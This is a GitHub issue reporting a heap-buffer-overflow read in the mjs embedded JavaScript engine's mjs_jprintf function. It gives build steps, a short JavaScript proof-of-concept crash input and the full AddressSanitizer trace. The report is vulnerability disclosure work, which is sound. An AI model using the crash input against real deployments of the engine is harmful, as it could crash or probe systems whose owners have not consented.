cesanta / mjs

Embedded JavaScript engine for C/C++
https://mongoose-os.com
Other
1.88k stars 172 forks source link

Heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf #193

Open hope-fly opened 2 years ago

hope-fly commented 2 years ago
mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js


```javascript
gc(JSON.stringify({
  translate: [
    Object.create
  ]
}))
```

Execution steps & Output
$ ./mjs/build/mjs poc.js
=================================================================
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x55ed154d746c bp 0x7ffdfe204f10 sp 0x7ffdfe204f00
READ of size 1 at 0x60b0000000ab thread T0
    #0 0x55ed154d746b in mjs_jprintf src/mjs_util.c:61
    #1 0x55ed154d746b in mjs_fprintf src/mjs_util.c:93
    #2 0x55ed153d5f78 in main src/mjs_main.c:51
    #3 0x7fb412720b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #4 0x55ed153d7449 in _start (/usr/local/bin/Gmjs+0xe449)

0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab)
allocated by thread T0 here:
    #0 0x7fb412dd2f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x55ed154e8346 in mbuf_resize src/common/mbuf.c:50

SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf
Shadow bytes around the buggy address:
  0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa 00 00
  0x0c167fff8020: 00 00 00 00 00 00 00 00 00 00 07 fa fa fa fa fa
  0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb